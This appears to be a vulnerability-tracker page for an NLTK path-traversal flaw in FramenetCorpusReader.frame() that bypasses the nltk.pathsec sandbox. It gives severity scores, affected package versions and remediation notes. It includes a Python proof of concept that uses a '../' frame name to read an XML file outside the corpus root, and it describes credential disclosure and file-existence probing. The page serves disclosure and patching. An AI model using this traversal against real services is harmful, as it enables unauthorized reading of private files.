CVE-2026-12074

HIGHPre-NVD 7.57.5
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
7.5EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 7.5Exploit: None knownExposed services: Not assessed

A fix is available — apply it.

Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)

Summary

FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.

Details

frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.

The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:

  • doc() — uses the index entry filename field
  • the lexical-unit file loader — uses the lexUnit ID attribute

These are reachable through a malicious or attacker-modified FrameNet corpus index.

PoC

"""

import os import sys import tempfile import warnings from pathlib import Path

warnings.filterwarnings("ignore")

--- Turn the documented strict sandbox ON, before importing the reader. ---

import nltk.pathsec as ps ps.ENFORCE = True

import nltk from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError

FRAME_XML = ( '<?xml version="1.0" encoding="UTF-8"?>\n' '\n' "SECRET-OUT-OF-ROOT-CONTENT\n" "\n" )

BANNER = """\ =========================================================== NLTK FramenetCorpusReader.frame() Path Traversal PoC nltk {ver} | nltk.pathsec.ENFORCE = {enforce} ===========================================================""".format( ver=nltk.__version__, enforce=ps.ENFORCE )

def build_corpus(): """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root.""" base = Path(tempfile.mkdtemp(prefix="fn_poc_")) root = base / "corpora" / "framenet" for d in ("frame", "fulltext", "lu"): (root / d).mkdir(parents=True) (root / "frameIndex.xml").write_text( '<?xml version="1.0"?>' ) (root / "frRelation.xml").write_text( '<?xml version="1.0"?>' )

# A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target). secret = base / "private" secret.mkdir() (secret / "secret.xml").write_text(FRAME_XML)

return base, root, secret / "secret.xml"

def main(): print(BANNER) base, root, secret_path = build_corpus() print(f"[*] corpus root : {root}") print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")

fn = FramenetCorpusReader(str(root), [])

# Attacker-controlled frame name climbs out of /frame/ up to /private/secret.xml evil = os.path.join("..", "..", "..", "private", "secret") print(f"[*] calling fn.frame({evil!r})")

try: f = fn.frame(evil) definition = f["definition"] if "SECRET-OUT-OF-ROOT-CONTENT" in definition: print("\n [VULN] out-of-root file was read and returned to caller") print(f" frame name : {evil}") print(f" frame ID : {f['ID']} name: {f['name']}") print(f" definition : {definition}") print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}") verdict = "VULNERABLE" else: print(f"\n [?] frame() returned but content unexpected: {definition!r}") verdict = "INCONCLUSIVE" except FramenetError as e: # Patched build (#3581): _reject_unsafe_path_component raises before open(). print(f"\n [SAFE] FramenetError: {e}") print(" traversal rejected before any file was opened (patched)") verdict = "NOT VULNERABLE" except Exception as e: print(f"\n [SAFE] {type(e).__name__}: {e}") verdict = "NOT VULNERABLE"

# Control: a plain absent name must fail as 'Unknown frame', NOT as a read. print("\n[CONTROL] benign absent name should be 'Unknown frame':") try: fn.frame("Definitely_Not_A_Frame") print(" [?] unexpectedly succeeded") except Exception as e: print(f" ok -> {type(e).__name__}: {e}")

print("\n" + "=" * 59) print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})") print("=" * 59)

if __name__ == "__main__": main()

Impact

  • Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into frame() can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. frame() is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.
  • Broad read primitive. Only a fixed .xml extension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.
  • Silent bypass of an advertised boundary. NLTK's SECURITY.md presents the nltk.pathsec sandbox and ENFORCE=True as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because frame_by_name builds the path itself and reads through a string-path XMLCorpusView, the containment guard is never called and ENFORCE=True does not block the read — silently, with no error or warning.
  • Crafted-corpus reach. Via doc() and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.
  • Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where frame() output is reflected to the requester, disclosure is direct and non-blind.

CVSS v3
7.5
EG Score
7.5HIGHlow confidence
EG Risk
38
EG Risk 38/100CISA SSVC

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity75% × 45%
Exploitation0% × 40%
Automatability30% × 15%
CISA SSVC: Track at low or medium mission impact; Track or Attend at high (mission-essential systems).
Action: A fix is available. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

CISA SSVCTrack at low or medium mission impact; Track or Attend at high (mission-essential systems).

A fix is available. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.

Exploitation none (no KEV listing, exploit record or EPSS ≥ 50%) · Automatable unknown (not published for this CVE) · Technical impact partial (CVSS below 9.0). Mission impact is CISA's Mission & Well-being decision point, and only you can judge it: high means the affected system is essential to your organisation's mission, or its compromise could cause irreversible harm to people. CISA's decision table

Published

July 31, 2026

Last Modified

July 31, 2026

Vendor Advisories for CVE-2026-12074(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(4 across 4 ecosystems)
Debian:12(1)
PackageVulnerable rangeFix by version rangeDependents
nltk3.10.0-1 ... 3.9.3-1 (9 versions)
  • every version on: no fix on record
—
Debian:13(1)
PackageVulnerable rangeFix by version rangeDependents
nltk3.10.0-1 ... 3.9.3-1 (6 versions)
  • every version on: no fix on record
—
Debian:14(1)
PackageVulnerable rangeFix by version rangeDependents
nltk3.9.1-2, 3.9.2-1, 3.9.3-1
  • every version up to 3.10.0-1: fixed in 3.10.0-1
—
PyPI(1)
PackageVulnerable rangeFix by version rangeDependents
nltk0.8 ... 3.9b1 (65 versions)
  • every version up to 3.10.0: fixed in 3.10.0
—

Data Freshness Timeline

(refreshed 0× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-09-29 06:49 UTCEG score recompute
  2. 2026-07-31 17:08 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-12074?
CVE-2026-12074 is a high vulnerability published on July 31, 2026. Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True) Summary FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the…
When was CVE-2026-12074 disclosed?
CVE-2026-12074 was first published on July 31, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-12074?
CVE-2026-12074 has a CVSS base score of 7.5 (the CNA's own assessment, by github_m; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-12074?
A fix for CVE-2026-12074 is available: update to the fixed version the vendor names in its advisory. The vendor advisories EchelonGraph has for CVE-2026-12074 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-12074

Explore →

Is Your Infrastructure Affected by CVE-2026-12074?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.